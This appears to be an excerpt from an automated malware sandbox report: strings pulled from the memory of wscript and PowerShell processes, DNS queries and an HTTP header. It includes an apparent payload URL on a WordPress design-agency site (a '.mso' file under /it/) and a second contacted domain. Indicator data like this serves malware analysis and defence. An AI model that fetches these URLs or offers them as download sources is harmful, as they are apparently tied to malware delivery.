Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: <span><a href="https://www.facebook.com/puneet.ae/" target="_blank" rel="noopener nofollow"><img src="https://puneet.ae/wp-content/themes/puneet/assets/images/fb.svg" alt="facebook" /></a></span> equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.puneet.ae
Source: global traffic	DNS traffic detected: DNS query: puneet.ae
Source: global traffic	DNS traffic detected: DNS query: www.ftsengineers.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/8.1.31x-litespeed-vary: cookie=np_wc_currency,cookie=np_wc_currency_language,cookie=_icl_current_language, value=nitrodesktopx-litespeed-tag: uri=092df62fd6c60d5ec274e1ec415f0abbexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0x-litespeed-cache-control: no-cachecontent-type: text/html; charset=UTF-8x-nitro-cache: MISSx-nitro-disabled-reason: 404x-nitro-disabled: 1link: <https://puneet.ae/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkeddate: Thu, 19 Dec 2024 11:35:25 GMTserver: LiteSpeedstrict-transport-security: max-age=63072000; includeSubDomainsx-frame-options: SAMEORIGINx-content-type-options: nosniff

Source: powershell.exe, 00000004.00000002.2434443047.000001747B198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 00000004.00000002.2434443047.000001747B198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m:
Source: wscript.exe, 00000000.00000003.2092829689.000002E4435B1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2095406288.000002E4435BE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2094231162.000002E4435BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: wscript.exe, 00000000.00000003.2092829689.000002E4435B1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2095406288.000002E443601000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2092829689.000002E443601000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2095406288.000002E4435BE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2094231162.000002E4435BE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2094231162.000002E443601000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: wscript.exe, 00000000.00000003.2078348881.000002E44360B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2078439685.000002E443633000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?dbe41ee719cde
Source: wscript.exe, 00000000.00000003.2078516486.000002E4454CA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2077858970.000002E4454CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabwV-1
Source: wscript.exe, 00000000.00000003.2078348881.000002E44360B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2078439685.000002E443633000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/authrootstl.cab?dbe41ee719
Source: powershell.exe, 00000004.00000002.2399981492.00000174631CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftsengineers.com
Source: powershell.exe, 00000004.00000002.2428365661.0000017472B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.2399981492.0000017462D06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.2399981492.0000017464905000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174648CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://puneet.ae
Source: powershell.exe, 00000004.00000002.2399981492.0000017462AE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3338058452.0000000004BB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.2399981492.0000017462D06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.2399981492.00000174631CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.ftsengineers.com
Source: powershell.exe, 00000004.00000002.2399981492.00000174648CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.puneet.ae
Source: powershell.exe, 00000004.00000002.2399981492.0000017462AE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000007.00000002.3338058452.0000000004BB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: powershell.exe, 00000004.00000002.2428365661.0000017472B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.2428365661.0000017472B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.2428365661.0000017472B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.2399981492.0000017462D06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.2399981492.0000017463F5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://instagram.com/puneetsakhuja?utm_medium=copy_link
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://linkedin.com/in/puneetsakhuja
Source: powershell.exe, 00000004.00000002.2428365661.0000017472B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogp.me/ns#
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pinterest.com/puneetuae/
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae(
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/#person
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/#website
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/about
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/blog
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/brand-guidelines-dubai
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/brand-strategy-dubai
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/branding-agency-dubai
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/clients
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/cms-development-dubai
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/comments/feed
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/contact
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/digital-marketing-agency-dubai
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/ecommerce-development-dubai
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/facebook-marketing-dubai
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/feed
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/graphic-design-agency-dubai
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/instagram-marketing-dubai
Source: powershell.exe, 00000004.00000002.2399981492.0000017462FAC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.0000017462F97000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.0000017462F80000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.0000017462F9B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.0000017462F93000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174648CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174648F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174648EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/it/Kontrastrigt.mso
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/linkedin-marketing-dubai
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/logo-design
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/marketing-collateral-design-dubai
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/packaging-design-dubai
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/portfolio
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/responsive-web-design-dubai
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/seo-dubai
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/sitemap
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/social-media-marketing
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/ui-ux-design-dubai
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/web-design-dubai
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/web-services-dubai
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/website-redesign-dubai
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wordpress-websites
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.16
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.0.1
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/plugins/contact-form-7/includes/js/index.js?ver=6.0.1
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=6.0.1
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/plugins/contact-form-7/modules/recaptcha/index.js?ver=6.0.1
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/css/admin.css?ver=1.0
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/css/bootstrap.min.css?ver=4.0
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/css/frank.css?ver=1663577742
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/css/main.css?ver=1657796780
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/css/responsive.css?ver=1705912311
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/css/style.css?ver=1705905999
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/images/404-graphic1.png
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/images/PS_logo.png
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/images/bar.png
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/images/ig.svg
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/images/linked-in.svg
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/images/pdf-thumb.webp
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/images/pin.svg
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/images/puneet-ae-portfolio-preview.pdf
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/images/testi-video.webp
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/images/twitter.svg
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/images/whatsapp-new.svg
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/js/bannerHover.js?ver=1672827078
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/js/custom/primary.js?ver=1690182382
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/js/home-main.js?ver=1689674457
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/js/m
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/themes/puneet/assets/js/main-js.js?ver=1664775502
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/uploads/2022/03/creative-for-puneet-ae.jpg
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/uploads/2022/03/favicon.png
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/uploads/2022/07/icon-branding-sr1-300x281.webp
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/uploads/2022/07/icon-branding-sr1-360x337.webp
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/uploads/2022/07/icon-branding-sr1-67x63.webp
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/uploads/2022/07/icon-branding-sr1.webp
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/uploads/2022/07/icon-design-sr1-300x281.webp
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/uploads/2022/07/icon-design-sr1-360x337.webp
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/uploads/2022/07/icon-design-sr1-67x63.webp
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/uploads/2022/07/icon-design-sr1.webp
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/uploads/2022/07/icon-marketing-sr1-300x281.webp
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/uploads/2022/07/icon-marketing-sr1-360x337.webp
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/uploads/2022/07/icon-marketing-sr1-67x63.webp
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/uploads/2022/07/icon-marketing-sr1.webp
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-content/uploads/2023/10/Best-Print-Design.webp
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-includes/js/dist/hooks.min.js?ver=4d63a3d491d11ffd8ac6
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0
Source: powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/wp-json/
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.ae/xmlrpc.php?rsd
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://puneet.aeceUr
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rankmath.com/
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rankmath.com/wordpress/plugin/seo-suite/
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://schema.org
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.addtoany.com/menu/page.js
